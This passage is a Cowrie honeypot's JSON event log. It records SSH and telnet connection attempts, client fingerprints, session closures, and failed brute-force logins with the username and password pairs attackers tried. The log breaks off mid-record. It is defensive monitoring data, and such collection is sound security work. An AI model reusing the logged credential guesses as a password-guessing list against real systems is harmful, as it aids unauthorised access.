{"eventid":"cowrie.login.failed","username":"root","password":"vA","message":"login attempt [root/vA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:29.151677Z","src_ip":"213.209.159.158","session":"92f48c37efe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43508,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e5ce596d16","protocol":"telnet","message":"New connection: 62.210.97.77:43508 (10.17.0.5:23) [session: 06e5ce596d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:30.336478Z"}
{"eventid":"cowrie.session.closed","duration":32.618589639663696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:31.987258Z","src_ip":"62.210.97.77","session":"062cf0d44246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:32.318331Z","src_ip":"213.209.159.158","session":"92f48c37efe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33356,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5eece3ba85f","protocol":"ssh","message":"New connection: 213.209.159.158:33356 (10.17.0.5:22) [session: c5eece3ba85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:32.397261Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49266,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7afe6beff53","protocol":"telnet","message":"New connection: 65.60.27.33:49266 (10.17.0.5:23) [session: c7afe6beff53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:32.954251Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.190.197.108","src_port":25674,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee718ac82174","protocol":"telnet","message":"New connection: 182.190.197.108:25674 (159.203.135.109:23) [session: ee718ac82174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:33.138751Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":44838,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c5d70ff7ca","protocol":"ssh","message":"New connection: 80.94.92.182:44838 (159.203.135.109:22) [session: 56c5d70ff7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:33.311250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:33.315693Z","src_ip":"80.94.92.182","session":"56c5d70ff7ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43512,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c64c1186d2e","protocol":"telnet","message":"New connection: 62.210.97.77:43512 (10.17.0.5:23) [session: 4c64c1186d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:33.462320Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:33.482341Z","src_ip":"80.94.92.182","session":"56c5d70ff7ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17722845077515,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:34.104374Z","src_ip":"62.210.97.77","session":"ab6c841eb521","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"firedancer","message":"login attempt [ubuntu/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:34.196422Z","src_ip":"80.94.92.182","session":"56c5d70ff7ca","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:34.903193Z","src_ip":"213.209.159.158","session":"c5eece3ba85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:34.907876Z","src_ip":"213.209.159.158","session":"c5eece3ba85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.25311994552612,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:35.432175Z","src_ip":"65.60.27.33","session":"a52e08ee04de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:35.566311Z","src_ip":"80.94.92.182","session":"56c5d70ff7ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.24464392662048,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:37.430807Z","src_ip":"38.54.119.93","session":"12b0c758ae70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56504,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f05c886fec","protocol":"telnet","message":"New connection: 62.210.97.77:56504 (10.17.0.5:23) [session: a3f05c886fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:41.181536Z"}
{"eventid":"cowrie.session.closed","duration":35.245527267456055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:43.563515Z","src_ip":"62.210.97.77","session":"5d91b5efee11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.048500061035156,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:44.166743Z","src_ip":"62.210.97.77","session":"fc6fb758ddbe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vbidc!","message":"login attempt [root/Vbidc!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:44.327039Z","src_ip":"213.209.159.158","session":"c5eece3ba85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56516,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6e3c03f671","protocol":"telnet","message":"New connection: 62.210.97.77:56516 (10.17.0.5:23) [session: 5c6e3c03f671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:45.406130Z"}
{"eventid":"cowrie.session.closed","duration":35.89536690711975,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:45.502914Z","src_ip":"62.210.97.77","session":"071c8aa24468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.389001369476318,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:46.527455Z","src_ip":"182.190.197.108","session":"ee718ac82174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54254,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa7863a38a6","protocol":"telnet","message":"New connection: 38.54.119.93:54254 (10.17.0.5:23) [session: 1fa7863a38a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:47.720583Z"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:47.966947Z","src_ip":"213.209.159.158","session":"c5eece3ba85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27988,"dst_ip":"10.17.0.5","dst_port":22,"session":"401be433090b","protocol":"ssh","message":"New connection: 213.209.159.158:27988 (10.17.0.5:22) [session: 401be433090b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:48.058452Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55232,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4c5c0759e1","protocol":"telnet","message":"New connection: 38.54.119.93:55232 (10.17.0.5:23) [session: fe4c5c0759e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:49.458535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:50.244473Z","src_ip":"213.209.159.158","session":"401be433090b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:50.248783Z","src_ip":"213.209.159.158","session":"401be433090b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.2789969444274902,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:50.999467Z","src_ip":"38.54.119.93","session":"1fa7863a38a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16200566291809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:51.209279Z","src_ip":"62.210.97.77","session":"cf49c78efe23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74935245513916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:52.254768Z","src_ip":"62.210.97.77","session":"78d5409d39a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37654,"dst_ip":"10.17.0.5","dst_port":23,"session":"1488a2157bd9","protocol":"telnet","message":"New connection: 62.210.97.77:37654 (10.17.0.5:23) [session: 1488a2157bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:53.211894Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37662,"dst_ip":"10.17.0.5","dst_port":23,"session":"78bed57dea0c","protocol":"telnet","message":"New connection: 62.210.97.77:37662 (10.17.0.5:23) [session: 78bed57dea0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:53.695869Z"}
{"eventid":"cowrie.session.closed","duration":5.637803554534912,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:55.096188Z","src_ip":"38.54.119.93","session":"fe4c5c0759e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53714,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7ccfccaea4","protocol":"telnet","message":"New connection: 165.232.131.181:53714 (10.17.0.5:23) [session: dd7ccfccaea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:56.437341Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37678,"dst_ip":"10.17.0.5","dst_port":23,"session":"520ead856fa8","protocol":"telnet","message":"New connection: 62.210.97.77:37678 (10.17.0.5:23) [session: 520ead856fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:56.531091Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48134,"dst_ip":"10.17.0.5","dst_port":23,"session":"4805c0cd4627","protocol":"telnet","message":"New connection: 65.60.27.33:48134 (10.17.0.5:23) [session: 4805c0cd4627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:56.596420Z"}
{"eventid":"cowrie.session.closed","duration":37.03377342224121,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:56.634195Z","src_ip":"62.210.97.77","session":"359448f85d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.802287578582764,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:56.805830Z","src_ip":"62.210.97.77","session":"c92fe3c403b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53668,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b90bda4505","protocol":"telnet","message":"New connection: 165.232.131.181:53668 (10.17.0.5:23) [session: 07b90bda4505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:57.244451Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"upload123456789","message":"login attempt [root/upload123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:24:59.458782Z","src_ip":"213.209.159.158","session":"401be433090b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.636301040649414,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:01.322670Z","src_ip":"62.210.97.77","session":"ead771703973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39796,"dst_ip":"10.17.0.5","dst_port":23,"session":"9787d36e2ba3","protocol":"telnet","message":"New connection: 62.210.97.77:39796 (10.17.0.5:23) [session: 9787d36e2ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:02.312727Z"}
{"eventid":"cowrie.session.closed","duration":34.70769190788269,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:02.340248Z","src_ip":"62.210.97.77","session":"d22ae5dc34b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:03.039730Z","src_ip":"213.209.159.158","session":"401be433090b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31364,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce541f2c36c","protocol":"ssh","message":"New connection: 213.209.159.158:31364 (10.17.0.5:22) [session: 8ce541f2c36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:04.175565Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39812,"dst_ip":"10.17.0.5","dst_port":23,"session":"08ee107a0a59","protocol":"telnet","message":"New connection: 62.210.97.77:39812 (10.17.0.5:23) [session: 08ee107a0a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:05.777668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:06.298443Z","src_ip":"213.209.159.158","session":"8ce541f2c36c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:06.302576Z","src_ip":"213.209.159.158","session":"8ce541f2c36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.9875271320343,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:07.323877Z","src_ip":"62.210.97.77","session":"06e5ce596d16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80806016921997,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:07.762226Z","src_ip":"65.60.27.33","session":"c7afe6beff53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.873714208602905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:09.335945Z","src_ip":"62.210.97.77","session":"4c64c1186d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":38212,"dst_ip":"159.203.135.109","dst_port":22,"session":"b782e8f3d6fb","protocol":"ssh","message":"New connection: 89.218.69.66:38212 (159.203.135.109:22) [session: b782e8f3d6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:11.948318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:11.953909Z","src_ip":"89.218.69.66","session":"b782e8f3d6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37288,"dst_ip":"10.17.0.5","dst_port":23,"session":"672fd91988de","protocol":"telnet","message":"New connection: 62.210.97.77:37288 (10.17.0.5:23) [session: 672fd91988de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:25:12.074239Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 